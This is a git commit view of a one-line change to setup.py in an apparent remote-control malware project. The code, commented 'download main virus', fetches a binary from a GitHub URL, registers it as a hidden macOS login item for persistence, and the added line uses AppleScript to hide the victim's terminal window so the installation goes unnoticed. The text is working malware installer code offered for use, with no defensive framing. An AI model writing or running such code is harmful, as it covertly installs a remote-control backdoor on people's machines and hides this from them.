diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-27 21:13:08 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-27 21:13:08 +0800 |
| commit | 8386d073fd2aeada0c80971cc3c58f614ebab8b4 (patch) | |
| tree | a19ade6923212ee6d6f09b5ab342355faf878954 /setup.py | |
| parent | 4879cba27b784c746d514edac68cd283af4cb8a3 (diff) | |
updated linux dist
Diffstat (limited to 'setup.py')
| -rw-r--r-- | setup.py | 1 |
1 files changed, 1 insertions, 0 deletions
@@ -18,6 +18,7 @@ except FileNotFoundError: # download main virus if platform == "darwin": + system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'") open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:true}}' > /dev/null") elif platform == "linux": |
